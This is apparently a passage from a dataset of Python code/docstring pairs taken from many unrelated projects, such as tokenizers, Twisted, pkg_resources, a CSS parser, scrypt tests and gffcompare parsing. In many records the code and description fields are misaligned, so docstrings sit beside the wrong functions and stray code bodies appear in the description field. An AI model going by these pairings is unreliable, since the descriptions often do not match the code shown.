"Splits punctuation on a piece of text.chars = list(text)i = 0start_new_word = Trueoutput = []while i < len(chars):char = chars[i]if _is_punctuation(char):output.append([char])start_new_word = Trueelse:if start_new_word:output.append([])start_new_word = Falseoutput[-1].append(char)i += 1return [\"\".join(x) for x in output]def _tokenize_chinese_chars(self, text):Adds whitespace around any CJK character."} {"code": "def __exit__(self, *args):\n\n An OSError is raised if the IO object does not use a file descriptor.\n \"\"\"", "nl": "Context management protocol. Calls close()self.close()### Lower-level APIs #### XXX Should these be present even if unimplemented?def fileno(self):Returns underlying file descriptor (an int) if one exists."} {"code": "def build_gazetteer(self, gaz_name, exclude_ngrams=False, force_reload=False):\n popularity_cutoff = 0.0\n\n logger.info(\"Building gazetteer '%s'\", gaz_name)\n\n gaz = Gazetteer(gaz_name, self.get_text_preparation_pipeline(), exclude_ngrams)\n\n entity_data_path = path.get_entity_gaz_path(self.app_path, gaz_name)\n gaz.update_with_entity_data_file(\n entity_data_path, popularity_cutoff, self.query_factory.normalize\n )\n self._entity_files[gaz_name][\"entity_data\"][\"loaded\"] = time.time()\n\n mapping = self.get_entity_map(gaz_name, force_reload=force_reload)\n gaz.update_with_entity_map(\n mapping.get(\"entities\", []), self.query_factory.normalize\n )\n\n gaz_path = path.get_gazetteer_data_path(self.app_path, gaz_name)\n gaz.dump(gaz_path)\n\n self._entity_files[gaz_name][\"gazetteer\"][\"data\"] = gaz.to_dict()\n self._entity_files[gaz_name][\"gazetteer\"][\"loaded\"] = time.time()\n", "nl": "Builds the specified gazetteer using the entity data and mapping files.Args:gaz_name (str): The name of the entity the gazetteer corresponds toexclude_ngrams (bool, optional): Whether partial matches ofentities should be included in the gazetteerforce_reload (bool, optional): Whether file should be forcefullyreloaded from disk"} {"code": "def is_plottable(self):\n\n __metaclass__ = ABCMeta\n\n icons = {16: os.path.join(icon_folder, \"array_16.png\"),\n 64: os.path.join(icon_folder, \"array_64.png\")}\n\n @property", "nl": " To be overriden in case that there are cases in which the array is not plottable return Trueclass GeoSurface(Node): Represents a NumPy-style regular, rectangular surface with a known geographic extent. "} {"code": "def tables(self) -> Iterable[ServiceT]:\n\n Arguments:\n id (str): Application ID.\n\n Keyword Arguments:\n loop (asyncio.AbstractEventLoop): optional event loop to use.\n\n See Also:\n :ref:`application-configuration` -- for supported keyword arguments.\n\n \"\"\"", "nl": "Return list of table-related services.if self._should_enable_kafka_consumer():return [self.app.tables]return []class App(AppT, Service):Faust Application."} {"code": "def test():", "nl": "raise ValueErrorif 'test_bug737473' in sys.modules:del sys.modules['test_bug737473']import test_bug737473try:test_bug737473.test()except ValueError:# this loads source code to linecachetraceback.extract_tb(sys.exc_traceback)# If this test runs too quickly, test_bug737473.py's mtime# attribute will remain unchanged even if the file is rewritten.# Consequently, the file would not reload. So, added a sleep()# delay to assure that a new, distinct timestamp is written.# Since WinME with FAT32 has multisecond resolution, more than# three seconds are needed for this test to pass reliably :-(time.sleep(4)with open(testfile, 'w') as f:print >> f, "} {"code": "def add_request(self, request):\n and adds that request to the preprocessing requests set\n\n @param request: The preprocessing request\n @type request: Request\n\n @return: None\n @rtype : None\n\n \"\"\"", "nl": " Adds a new request to the collection of requests to be fuzzed if request not in self._requests:self._requests.append(request)def exclude_preprocessing_request(self, request): Removes a request from the collection of requests to be fuzzed"} {"code": "def tearDown(self):\n self.framework.delete(True)\n", "nl": "Stops the framework"} {"code": "def unique_id(self) -> str:\n return DeviceInfo(\n identifiers={(DOMAIN, self.data.product.id)},\n name=self.data.product.name,\n manufacturer=\"Easee\",\n model=\"Charging Robot\",\n configuration_url=f\"https://easee.cloud/mypage/products/{self.data.product.id}\",\n )\n\n @property", "nl": "Return a unique ID.return f\"{self.data.product.id}_{self._entity_name}\"@propertydef device_info(self):Return the device information."} {"code": "def create_all(self):\n for data_dict in self.devdata:\n type_ = data_dict.pop(\"type\")\n if type_ == \"authclient\":\n self.upsert_authclient(data_dict)\n elif type_ == \"organization\":\n self.upsert_organization(data_dict)\n elif type_ == \"user\":\n self.upsert_user(data_dict)\n elif type_ == \"open_group\":\n self.upsert_open_group(data_dict)\n elif type_ == \"restricted_group\":\n self.upsert_restricted_group(data_dict)\n else:\n raise RuntimeError(f\"Unrecognized type: {type_}\")\n\n self.tm.commit()\n", "nl": "Create all the standard dev data in the DB.Create standard dev data objects (users, groups, etc) if they don'texist. If objects with the same identifier already exist in the DB(e.g. a user with the same name as a standard dev data user, or a groupwith the same pubid, etc) but those objects have different values forsome fields, then overwrite those incorrect values with the standardvalues."} {"code": "def addCallback(self, callback, *args, **kw):\n return self.addCallbacks(callback, callbackArgs=args,\n callbackKeywords=kw)\n\n", "nl": "Convenience method for adding just a callback.See L{addCallbacks}."} {"code": "def get_supported_platform():\n plat = get_build_platform()\n m = macosVersionString.match(plat)\n if m is not None and sys.platform == \"darwin\":\n try:\n plat = 'macosx-%s-%s' % ('.'.join(_macosx_vers()[:2]), m.group(3))\n except ValueError:\n pass\n return plat\n\n\n__all__ = [\n 'require', 'run_script', 'get_provider', 'get_distribution',\n 'load_entry_point', 'get_entry_map', 'get_entry_info',\n 'iter_entry_points',\n 'resource_string', 'resource_stream', 'resource_filename',\n 'resource_listdir', 'resource_exists', 'resource_isdir',\n\n 'declare_namespace', 'working_set', 'add_activation_listener',\n 'find_distributions', 'set_extraction_path', 'cleanup_resources',", "nl": "Return this platform's maximum compatible version.distutils.util.get_platform() normally reports the minimum versionof Mac OS X that would be required to *use* extensions produced bydistutils. But what we want when checking compatibility is to know theversion of Mac OS X that we are *running*. To allow usage of packages thatexplicitly require a newer version of Mac OS X, we must also know thecurrent version of the OS.If this condition occurs for any other platform with a version in itsplatform strings, this function should be extended accordingly."} {"code": "def function_maker(self, i, o, m, *args, **kwargs):\n\n assert m is self\n return Profile_Maker(i, o, self, *args, **kwargs)\n", "nl": "Return an instance of `Profiler_Maker` which init the count."} {"code": "def serve(self, request):\n if headless_preview_settings.SERVE_BASE_URL:\n base_url = headless_preview_settings.SERVE_BASE_URL\n else:\n base_url = get_client_root_url_from_site(self.get_site())\n site_id, site_root, relative_page_url = self.get_url_parts(request)\n return redirect(f\"{base_url.rstrip('/')}{relative_page_url}\")\n\n\nclass HeadlessMixin(HeadlessPreviewMixin, HeadlessServeMixin):\n pass", "nl": "Mixin overriding the default serve method with a redirect.The URL of the requested page is kept the same, only the host isoverridden.By default this uses the hosts defined in HEADLESS_PREVIEW_CLIENT_URLS.However, you can enforce a single host using the HEADLESS_SERVE_BASE_URL setting."} {"code": "def __put_buttons_in_buttonframe(choices):\n Handle an event that is generated by a person clicking a button.\n \"\"\"", "nl": "Put the buttons in the buttons frameglobal __widgetTexts, __firstWidget, buttonsFrame__firstWidget = None__widgetTexts = {}i = 0for buttonText in choices:tempButton = ttk.Button(buttonsFrame, takefocus=1, text=buttonText)_bindArrows(tempButton)tempButton.pack(expand=tk.YES, side=tk.LEFT, padx=\"0m\", pady=\"3m\", ipadx=\"0m\", ipady=\"0m\")# remember the text associated with this widget__widgetTexts[tempButton] = buttonText# remember the first widget, so we can put the focus thereif i == 0:__firstWidget = tempButtoni = 1# for the commandButton, bind activation events to the activation event handlercommandButton = tempButtonhandler = __buttonEventfor selectionEvent in STANDARD_SELECTION_EVENTS:commandButton.bind(\"<%s>\" % selectionEvent, handler)if CANCEL_TEXT in choices:commandButton.bind(\"<Escape>\", __cancelButtonEvent)def _bindArrows(widget, skipArrowKeys=False):widget.bind(\"<Down>\", _tabRight)widget.bind(\"<Up>\", _tabLeft)if not skipArrowKeys:widget.bind(\"<Right>\", _tabRight)widget.bind(\"<Left>\", _tabLeft)def _tabRight(event):boxRoot.event_generate(\"<Tab>\")def _tabLeft(event):boxRoot.event_generate(\"<Shift-Tab>\")def __buttonEvent(event):"} {"code": "def setPort(self, port):\n libxml2mod.xmlURISetQuery(self._o, query)\n", "nl": "Set the port part of an URI. libxml2mod.xmlURISetPort(self._o, port)def setQuery(self, query):Set the query part of an URI. "} {"code": "def removeRoute(self, destination, xs):\n xs.removeObserver('/*', self.route)\n if (xs == self.routes[destination]):\n del self.routes[destination]\n\n", "nl": "Remove a route.@param destination: Destination of the route that should be removed.@type destination: C{str}.@param xs: XML Stream to remove the route for.@type xs: L{EventDispatcher<utility.EventDispatcher>}."} {"code": "def delete(self, group):\n\n self._delete_annotations(group)\n self.request.db.delete(group)\n", "nl": "Delete a group.Including its membership relations and all annotations in the group."} {"code": "def get_hashes_from_current_release() -> Dict[str, str]:\n result = {\n \"agents\": {},\n \"protocols\": {},\n \"contracts\": {},\n \"connections\": {},\n \"skills\": {},\n }\n for key, value in all_hashes.items():\n if \"fetchai\" not in key:\n print(\"Non-fetchai packages not allowed!\")\n sys.exit(1)\n _, type_, name = key.split(\"/\")\n result[type_][name] = value\n return result\n\n", "nl": "Get hashes from last release.hashes = {} # Dict[str, str]with open(os.path.join(\"packages\", HASHES_CSV)) as f:for line in f:split = line.split(\",\")hashes[split[0]] = split[1].rstrip()return hashesdef split_hashes_by_type(all_hashes: Dict[str, str]) -> Dict[str, Dict[str, str]]:Split hashes by type."} {"code": "def view(self, select=lambda path: True):\n field_names = self._renderers.keys()\n table = PrettyTable(field_names=field_names)\n types = OrderedDict((n, set()) for n in field_names)\n\n for i, path in verboserate(self._runs._int_dirs.items(), desc='Scanning runs.'):\n if not select(path):\n continue\n\n row = []\n for render in self._renderers.values():\n try:\n s = render(path)\n except:\n s = u''\n row.append(s)\n\n for name, elem in zip(field_names, row):\n types[name].add(type(elem))\n\n table.add_row(row)\n\n self._print_table(table)\n\n type_table = PrettyTable(['attribute', 'types'])\n for name, type_set in types.iteritems():\n type_table.add_row([name, ', '.join(t.__name__ for t in type_set)])\n self._print_table(type_table)\n\n @classmethod", "nl": "View runs.Args:select (Callable[str, bool]): given a path to a run, returns True if we want to display therun, False otherwise."} {"code": "def _calculate_key(name):\n return b\"Actor:\" + name.encode(\"ascii\")\n\n", "nl": "Generate a Redis key with the given name.Args:name: The name of the named actor.Returns:The key to use for storing a named actor in Redis."} {"code": "def _copy(self, other, copy_func):\n\n super(Constructable, self)._copy(other, copy_func)\n self.method = other.method", "nl": "Copies the contents of another Constructable object to itself:param object:Another instance of the same class:param copy_func:An reference of copy.copy() or copy.deepcopy() to use when copyinglists, dicts and objects"} {"code": "def convert_tokens_to_ids(self, tokens):\n tokens = []\n for i in ids:\n tokens.append(self.ids_to_tokens[i])\n return tokens\n\n @classmethod", "nl": "Converts a sequence of tokens into ids using the vocab.ids = []for token in tokens:ids.append(self.vocab[token])# if len(ids) > self.max_len:# raise ValueError(# \"Token indices sequence length is longer than the specified maximum \"# \" sequence length for this BERT model ({} > {}). Running this\"# \" sequence through BERT will result in indexing errors\".format(len(ids), self.max_len)# )return idsdef convert_ids_to_tokens(self, ids):Converts a sequence of ids in wordpiece tokens using the vocab."} {"code": "def initiator(self):\n match = self\n while match.parent:\n match = match.parent\n return match\n", "nl": "Retrieve the initiator parent of a match:param match::type match::return::rtype:"} {"code": "def get_ops(images, labels):\n\n assert FLAGS.search_for is not None, \"Please specify --search_for\"\n\n if FLAGS.search_for == \"micro\":\n ControllerClass = MicroController\n ChildClass = MicroChild\n else:\n ControllerClass = GeneralController\n ChildClass = GeneralChild\n\n child_model = ChildClass(\n images,\n labels,\n use_aux_heads=FLAGS.child_use_aux_heads,\n cutout_size=FLAGS.child_cutout_size,\n whole_channels=FLAGS.controller_search_whole_channels,\n num_layers=FLAGS.child_num_layers,\n num_cells=FLAGS.child_num_cells,\n num_branches=FLAGS.child_num_branches,\n fixed_arc=FLAGS.child_fixed_arc,\n out_filters_scale=FLAGS.child_out_filters_scale,\n out_filters=FLAGS.child_out_filters,\n keep_prob=FLAGS.child_keep_prob,\n drop_path_keep_prob=FLAGS.child_drop_path_keep_prob,\n num_epochs=FLAGS.num_epochs,\n l2_reg=FLAGS.child_l2_reg,\n data_format=FLAGS.data_format,\n batch_size=FLAGS.batch_size,\n clip_mode=\"norm\",\n grad_bound=FLAGS.child_grad_bound,\n lr_init=FLAGS.child_lr,\n lr_dec_every=FLAGS.child_lr_dec_every,\n lr_dec_rate=FLAGS.child_lr_dec_rate,\n lr_cosine=FLAGS.child_lr_cosine,\n lr_max=FLAGS.child_lr_max,\n lr_min=FLAGS.child_lr_min,\n lr_T_0=FLAGS.child_lr_T_0,\n lr_T_mul=FLAGS.child_lr_T_mul,\n optim_algo=\"momentum\",\n sync_replicas=FLAGS.child_sync_replicas,\n num_aggregate=FLAGS.child_num_aggregate,\n num_replicas=FLAGS.child_num_replicas,\n )\n\n if FLAGS.child_fixed_arc is None:\n controller_model = ControllerClass(\n search_for=FLAGS.search_for,\n search_whole_channels=FLAGS.controller_search_whole_channels,\n skip_target=FLAGS.controller_skip_target,\n skip_weight=FLAGS.controller_skip_weight,\n num_cells=FLAGS.child_num_cells,\n num_layers=FLAGS.child_num_layers,\n num_branches=FLAGS.child_num_branches,\n out_filters=FLAGS.child_out_filters,\n lstm_size=64,\n lstm_num_layers=1,\n lstm_keep_prob=1.0,\n tanh_constant=FLAGS.controller_tanh_constant,\n op_tanh_reduce=FLAGS.controller_op_tanh_reduce,\n temperature=FLAGS.controller_temperature,\n lr_init=FLAGS.controller_lr,\n lr_dec_start=0,\n lr_dec_every=1000000,\n l2_reg=FLAGS.controller_l2_reg,\n entropy_weight=FLAGS.controller_entropy_weight,\n bl_dec=FLAGS.controller_bl_dec,\n use_critic=FLAGS.controller_use_critic,\n optim_algo=\"adam\",\n sync_replicas=FLAGS.controller_sync_replicas,\n num_aggregate=FLAGS.controller_num_aggregate,\n num_replicas=FLAGS.controller_num_replicas)\n\n child_model.connect_controller(controller_model)\n controller_model.build_trainer(child_model)\n\n controller_ops = {\n \"train_step\": controller_model.train_step,\n \"loss\": controller_model.loss,\n \"train_op\": controller_model.train_op,\n \"lr\": controller_model.lr,\n \"grad_norm\": controller_model.grad_norm,\n \"valid_acc\": controller_model.valid_acc,\n \"optimizer\": controller_model.optimizer,\n \"baseline\": controller_model.baseline,\n \"entropy\": controller_model.sample_entropy,\n \"sample_arc\": controller_model.sample_arc,\n \"skip_rate\": controller_model.skip_rate,\n }\n else:\n assert not FLAGS.controller_training, (\n \"--child_fixed_arc is given, cannot train controller\")\n child_model.connect_controller(None)\n controller_ops = None\n\n child_ops = {\n \"global_step\": child_model.global_step,\n \"loss\": child_model.loss,\n \"train_op\": child_model.train_op,\n \"lr\": child_model.lr,\n \"grad_norm\": child_model.grad_norm,\n \"train_acc\": child_model.train_acc,\n \"optimizer\": child_model.optimizer,\n \"num_train_batches\": child_model.num_train_batches,\n }\n\n ops = {\n \"child\": child_ops,\n \"controller\": controller_ops,\n \"eval_every\": child_model.num_train_batches * FLAGS.eval_every_epochs,\n \"eval_func\": child_model.eval_once,\n \"num_train_batches\": child_model.num_train_batches,\n }\n\n return ops\n\n", "nl": "Args:images: dict with keys {\"train\", \"valid\", \"test\"}.labels: dict with keys {\"train\", \"valid\", \"test\"}."} {"code": "def __getattr__(cls, name):\n if _is_dunder(name):\n raise AttributeError(name)\n try:\n return cls._member_map_[name]\n except KeyError:\n raise AttributeError(name) from None\n", "nl": "Return the enum member matching `name`We use __getattr__ instead of descriptors or inserting into the enumclass' __dict__ in order to support `name` and `value` being bothproperties for enum members (which live in the class' __dict__) andenum members themselves."} {"code": "def cidr2long(addr):\n\n if is_valid_cidr(addr):\n subnet, mask = addr.split('/')\n range_min = ip2long(subnet)\n hosts = pow(2, 32 - long(mask)) - 1\n return (range_min, range_min + hosts)\n\n raise ValueError('Invalid CIDR address: %s.' % addr)\n\n", "nl": "Convert a CIDR to (ip_range_min, ip_range_max).:param addr: IPv4 CIDR.:type addr: ``string``:returns: Tuple of (ip_range_min, ip_range_max).:rtype: ``tuple``"} {"code": "def _handle_BYWEEKDAY(self, rrkwargs, name, value, **kwargs):\n l = []\n for wday in value.split(','):\n if '(' in wday:\n splt = wday.split('(')\n w = splt[0]\n n = int(splt[1][:-1])\n elif len(wday):\n for i in range(len(wday)):\n if wday[i] not in '+-0123456789':\n break\n n = wday[:i] or None\n w = wday[i:]\n if n:\n n = int(n)\n else:\n raise ValueError(\"Invalid (empty) BYDAY specification.\")\n\n l.append(weekdays[self._weekday_map[w]](n))\n rrkwargs[\"byweekday\"] = l\n\n _handle_BYDAY = _handle_BYWEEKDAY\n", "nl": "Two ways to specify this: +1MO or MO(+1)"} {"code": "def test_constructor(self):\n code = _Code('this is code.')\n self.assertIsInstance(code, _Code)\n self.assertEqual(code, 'this is code.')\n\nclass CloudantViewExceptionTests(unittest.TestCase):\n \"\"\"\n", "nl": "Ensure that the _Code class constructor returns a _Code object thatwraps a Python str"} {"code": "def test_when_not_in_a_worktree(cd_to_tmpdir):\n interact.editor = \"/usr/bin/vim\"\n global_xml = qibuild.config.get_global_cfg_path()\n with mock.patch(\"subprocess.call\") as mock_call:\n qibuild_action(\"config\", \"--edit\")\n assert mock_call.call_args_list == [\n mock.call([\"/usr/bin/vim\", global_xml])\n ]\n build_worktree = TestBuildWorkTree()\n local_xml = build_worktree.qibuild_xml\n mock_call.reset_mock()\n qibuild_action(\"config\", \"--edit\", \"--local\")\n assert mock_call.call_args_list == [\n mock.call([\"/usr/bin/vim\", local_xml])\n ]\n\n", "nl": " Test When Not In A Worktree qisys.script.run_action(\"qibuild.actions.config\", list())def test_edit(qibuild_action, interact): Test Edit "} {"code": "def get_paginate_by(self):\n return self.paginate_by\n", "nl": "Get the number of items to paginate by, or ``None`` for no pagination."} {"code": "def __init__(self, target: str, **kwargs: str):\n super().__init__(str(target), **kwargs)\n self._underlying_platform: Type[AbstractPlatform] = Standard\n self._unit_tests: List[str] = []\n", "nl": "Init the Standard platformArgs:target (str): path to the target**kwargs: optional arguments. Not used"} {"code": "def get(cls, app_context):\n if cls.has_current():\n _app_context, _course = cls.INSTANCE.current\n if _course and (app_context == _app_context or app_context is None):\n return _course\n _course = Course(None, app_context)\n cls.set_current(_course)\n return _course\n\n @classmethod", "nl": "Gets this thread current course instance or creates new instance.Making a new instance of existing Course is expensive. It involves dboperations, CPU intensive transaltions and other things. Thus it'sbetter to avoid making new instances all the time and rather use cachedinstance. In most cases when you need \"any valid instance of currentCourse\" use Course.get(), which provides request scope caching. It willreturn a cached instance or will create a new one for you if none yetexists. Only create a fresh new instance of course via constructorCourse() when you are executing mutations and want to have the most upto date instance.Args:app_context: an app_context of the Course, instance of which you needReturns:an instance of a course: cached or newly created if nothing cached"} {"code": "def _parseExpressionTerm(self, src):\n ctxsrc = src\n\n result, src = self._getMatchResult(self.re_num, src)\n if result is not None:\n units, src = self._getMatchResult(self.re_unit, src)\n term = self.cssBuilder.termNumber(result, units)\n return src.lstrip(), term\n\n result, src = self._getString(src, self.re_uri)\n if result is not None:\n term = self.cssBuilder.termURI(result)\n return src.lstrip(), term\n\n result, src = self._getString(src)\n if result is not None:\n term = self.cssBuilder.termString(result)\n return src.lstrip(), term\n\n result, src = self._getMatchResult(self.re_functionterm, src)\n if result is not None:\n src, params = self._parseExpression(src, True)\n if src[0] != ')':\n raise self.ParseError('Terminal function expression expected closing \\')\\'', src, ctxsrc)\n src = src[1:].lstrip()\n term = self.cssBuilder.termFunction(result, params)\n return src, term\n\n result, src = self._getMatchResult(self.re_rgbcolor, src)\n if result is not None:\n term = self.cssBuilder.termRGB(result)\n return src.lstrip(), term\n\n result, src = self._getMatchResult(self.re_unicoderange, src)\n if result is not None:\n term = self.cssBuilder.termUnicodeRange(result)\n return src.lstrip(), term\n\n nsPrefix, src = self._getMatchResult(self.re_namespace_selector, src)\n result, src = self._getIdent(src)\n if result is not None:\n if nsPrefix is not None:\n result = self.cssBuilder.resolveNamespacePrefix(nsPrefix, result)\n term = self.cssBuilder.termIdent(result)\n return src.lstrip(), term\n\n result, src = self._getMatchResult(self.re_unicodeid, src)\n if result is not None:\n term = self.cssBuilder.termIdent(result)\n return src.lstrip(), term\n\n return self.cssBuilder.termUnknown(src)\n\n\n", "nl": "term: unary_operator?[ NUMBER S* | PERCENTAGE S* | LENGTH S* | EMS S* | EXS S* | ANGLE S* |TIME S* | FREQ S* | function ]| STRING S* | IDENT S* | URI S* | RGB S* | UNICODERANGE S* | hexcolor;"} {"code": "def decode(cls, data_model_pb: Any) -> \"DataModel\":\n name = data_model_pb.name\n attributes = [Attribute.decode(attr_pb) for attr_pb in data_model_pb.attributes]\n description = data_model_pb.description\n return cls(name, attributes, description)\n\n", "nl": "Decode a protocol buffer object that corresponds with this class into an instance of this class.:param data_model_pb: the protocol buffer object corresponding with this class.:return: A new instance of this class matching the protocol buffer object"} {"code": "def class_bias_scale(inputs, labels, nclass):\n\n :param radius: float in [0, inf[, the ratio of the area.\n :return: a 2D convolution kernel.\n \"\"\"", "nl": "For a class c, return x*gamma[c] + beta[c]layer = ClassBiasScale(nclass)return layer.apply(inputs, labels)def blur_kernel_area(radius):Compute an area blurring kernel."} {"code": "def step_simulation(self, action: np.ndarray, fixed_steps: int = 1) -> AtariState:\n end = False\n for i in range(fixed_steps):\n observed, reward, _end, lives = self.env.step(action.argmax())\n end = end or _end\n self._cum_reward += reward\n if end:\n break\n\n if self.clone_seeds:\n microstate = self.env.unwrapped.ale.cloneSystemState()\n\n else:\n microstate = self.env.unwrapped.ale.cloneState()\n\n self.state.update_state(\n observed=observed,\n reward=self._cum_reward,\n end=end,\n lives=lives,\n microstate=Microstate(self.env, microstate),\n )\n if end:\n self.env.reset()\n return self.state\n\n\nclass DMControlEnv(Environment):\n \"\"\"I am offering this just to show that it can also work with any kind of problem, but I will\n", "nl": "Perturb the simulator with an arbitrary action.:param action: int representing the action to be taken.:param fixed_steps: The number of consecutive times that the action will be applied. Thisallows us to set the frequency at which the policy will play.:return: State representing the state of the environment after taking the desired number ofsteps."} {"code": "def parse_gffcmp_stats(txt):\n sensitivity = []\n precision = []\n level = []\n\n matching = OrderedDict()\n\n missed_level = []\n missed = []\n missed_total = []\n missed_percent = []\n\n novel_level = []\n novel = []\n novel_total = []\n novel_percent = []\n\n total_target = []\n total_loci = []\n total_transcripts = []\n total_multiexonic = []\n\n fh = open(txt, 'r')\n for line in fh:\n line = line.strip()\n if len(line) == 0:\n continue\n if line.startswith('\n total_target.append('Query')\n r = _parse_total_line(line)\n total_loci.append(r['loci'])\n total_transcripts.append(r['transcripts'])\n total_multiexonic.append(r['me_transcripts'])\n\n if line.startswith('\n total_target.append('Reference')\n r = _parse_total_line(line)\n total_loci.append(r['loci'])\n total_transcripts.append(r['transcripts'])\n total_multiexonic.append(r['me_transcripts'])\n\n if line.startswith('Base level'):\n st = _parse_stat_line(line)\n level.append('Base')\n sensitivity.append(st['sensitivity'])\n precision.append(st['precision'])\n if line.startswith('Exon level'):\n st = _parse_stat_line(line)\n level.append('Exon')\n sensitivity.append(st['sensitivity'])\n precision.append(st['precision'])\n if line.startswith('Intron level'):\n st = _parse_stat_line(line)\n level.append('Intron')\n sensitivity.append(st['sensitivity'])\n precision.append(st['precision'])\n if line.startswith('Intron chain level'):\n st = _parse_stat_line(line)\n level.append('Intron chain')\n sensitivity.append(st['sensitivity'])\n precision.append(st['precision'])\n if line.startswith('Transcript level'):\n st = _parse_stat_line(line)\n level.append('Transcript')\n sensitivity.append(st['sensitivity'])\n precision.append(st['precision'])\n if line.startswith('Locus level'):\n st = _parse_stat_line(line)\n level.append('Locus')\n sensitivity.append(st['sensitivity'])\n precision.append(st['precision'])\n\n if line.startswith('Matching intron chains'):\n m = _parse_matching_line(line)\n matching['Intron chains'] = [m]\n if line.startswith('Matching transcripts'):\n m = _parse_matching_line(line)\n matching['Transcripts'] = [m]\n if line.startswith('Matching loci'):\n m = _parse_matching_line(line)\n matching['Loci'] = [m]\n\n if line.startswith('Missed exons'):\n missed_level.append('Exons')\n r = _parse_mn_line(line)\n missed.append(r['value'])\n missed_total.append(r['value_total'])\n missed_percent.append(r['percent'])\n if line.startswith('Missed introns'):\n missed_level.append('Introns')\n r = _parse_mn_line(line)\n missed.append(r['value'])\n missed_total.append(r['value_total'])\n missed_percent.append(r['percent'])\n if line.startswith('Missed loci'):\n missed_level.append('Loci')\n r = _parse_mn_line(line)\n missed.append(r['value'])\n missed_total.append(r['value_total'])\n missed_percent.append(r['percent'])\n\n if line.startswith('Novel exons'):\n novel_level.append('Exons')\n r = _parse_mn_line(line)\n novel.append(r['value'])\n novel_total.append(r['value_total'])\n novel_percent.append(r['percent'])\n if line.startswith('Novel introns'):\n novel_level.append('Introns')\n r = _parse_mn_line(line)\n novel.append(r['value'])\n novel_total.append(r['value_total'])\n novel_percent.append(r['percent'])\n if line.startswith('Novel loci'):\n novel_level.append('Loci')\n r = _parse_mn_line(line)\n novel.append(r['value'])\n novel_total.append(r['value_total'])\n novel_percent.append(r['percent'])\n\n fh.close()\n\n df_stats = pd.DataFrame(OrderedDict(\n [('Sensitivity', sensitivity), ('Precision', precision)]), index=level)\n df_match = pd.DataFrame(matching, index=['Matching'])\n df_miss = pd.DataFrame(OrderedDict(\n [('Total', missed_total), ('Missed', missed), ('Percent missed', missed_percent)]), index=missed_level)\n df_novel = pd.DataFrame(OrderedDict(\n [('Total', novel_total), ('Novel', novel), ('Percent novel', novel_percent)]), index=novel_level)\n\n df_total = pd.DataFrame(OrderedDict(\n [('Loci', total_loci), ('Transcripts', total_transcripts), ('Multiexonic', total_multiexonic)]), index=total_target)\n\n return df_stats, df_match, df_miss, df_novel, df_total\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n\n stats, match, miss, novel, total = parse_gffcmp_stats(args.input)\n\n plotter = report.Report(args.r)\n\n\n plt.figure(1)\n plt.subplot(2, 2, 1)\n total.plot(ax=plt.gca(), kind='barh', sharex=False, title='Totals')\n plt.tight_layout()\n\n plt.subplot(2, 2, 2)\n stats.plot(ax=plt.gca(), kind='barh', legend=True, sharex=False, title='Performance').legend(loc='best')\n plt.tight_layout()\n\n plt.subplot(2, 2, 3)\n miss.copy().drop('Percent missed', axis=1).plot(ax=plt.gca(), kind='barh', legend=True, sharex=False, title='Missed')\n plt.tight_layout()\n\n plt.subplot(2, 2, 4)\n novel.copy().drop('Percent novel', axis=1).plot(ax=plt.gca(), kind='barh', legend=True, sharex=False, title='Novel')\n plt.tight_layout()\n plotter.pages.savefig()\n\n\n total.plot(kind='barh', subplots=True, legend=False, sharex=False)\n plt.tight_layout()\n plotter.pages.savefig()\n\n stats.plot(kind='barh', subplots=True, legend=False, sharex=False)\n plt.tight_layout()\n plotter.pages.savefig()\n\n match.plot(kind='barh', subplots=True, legend=False)\n plt.tight_layout()\n plotter.pages.savefig()\n\n miss.plot(kind='barh', subplots=True, legend=False, sharex=False)\n plt.tight_layout()\n plotter.pages.savefig()\n\n novel.plot(kind='barh', subplots=True, legend=False, sharex=False)\n plt.tight_layout()\n plotter.pages.savefig()\n\n plotter.close()\n\n if args.p is not None:\n p = {'total': total, 'stats': stats, 'match': match, 'miss': miss, 'novel': novel}\n misc.pickle_dump(p, args.p)", "nl": "Parse a gffcompare stats file.:param txt: Path to the gffcompare stats file.:returns: Return as tuple of dataframes containing: perfromance statistics, match statistics, miss statistics, novel statistics, total statistics.:rtype: tuple"} {"code": "def __call__(self, function, *args, **kwargs):\n between retries. It produces after exhausting the list, it repeats\n the last value from the list forever. This generator will never raise\n the StopIteration exception.\"\"\"", "nl": "execute a function within the context of a transactionif self.do_quit_check:self.quit_check()with self.db_conn_context_source() as connection:try:#self.config.logger.debug('starting transaction')result = function(connection, *args, **kwargs)connection.commit()return resultexcept DBApiUtilNonFatalBaseException:connection.rollback()raiseexcept BaseException, x:connection.rollback()self.config.logger.error('Exception raised during %s transaction',self.connection_source_type,exc_info=True)self.db_conn_context_source.force_reconnect()raise#==============================================================================class TransactionExecutorWithInfiniteBackoff(TransactionExecutor):# back off timesrequired_config = Namespace()required_config.add_option('backoff_delays',default=\"10, 30, 60, 120, 300\",doc='delays in seconds between retries',from_string_converter=string_to_list_of_ints)# wait_log_intervalrequired_config.add_option('wait_log_interval',default=10,doc='seconds between log during retries')#--------------------------------------------------------------------------def backoff_generator(self):Generate a series of integers used for the length of the sleep"} {"code": "def test_reference_vectors(self):\n if self._already_tested_others:\n raise self.skipTest(\"already run under %r backend test\" % self._already_tested_others)\n self._already_tested_others = self.backend\n rng = self.getRandom()\n\n orig = scrypt_mod.backend\n available = set(name for name in scrypt_mod.backend_values\n if scrypt_mod._load_backend(name))\n scrypt_mod._set_backend(orig)\n available.discard(self.backend)\n if not available:\n raise self.skipTest(\"no other backends found\")\n\n warnings.filterwarnings(\"ignore\", \"(?i)using builtin scrypt backend\",\n category=exc.PasslibSecurityWarning)\n\n for _ in range(10):\n secret = getrandbytes(rng, rng.randint(0, 64))\n salt = getrandbytes(rng, rng.randint(0, 64))\n n = 1 << rng.randint(1, 10)\n r = rng.randint(1, 8)\n p = rng.randint(1, 3)\n ks = rng.randint(1, 64)\n previous = None\n backends = set()\n for name in available:\n scrypt_mod._set_backend(name)\n self.assertNotIn(scrypt_mod._scrypt, backends)\n backends.add(scrypt_mod._scrypt)\n result = hexstr(scrypt_mod.scrypt(secret, salt, n, r, p, ks))\n self.assertEqual(len(result), 2*ks)\n if previous is not None:\n self.assertEqual(result, previous,\n msg=\"%r output differs from others %r: %r\" %\n (name, available, [secret, salt, n, r, p, ks]))\n", "nl": "reference vectorsfor secret, salt, n, r, p, keylen, result in self.reference_vectors:if n >= 1024 and TEST_MODE(max=\"default\"):# skip large values unless we're running full test suitecontinueif n > 16384 and self.backend == \"builtin\":# skip largest vector for builtin, takes WAAY too long# (46s under pypy, ~5m under cpython)continuelog.debug(\"scrypt reference vector: %r %r n=%r r=%r p=%r\", secret, salt, n, r, p)self.assertEqual(scrypt_mod.scrypt(secret, salt, n, r, p, 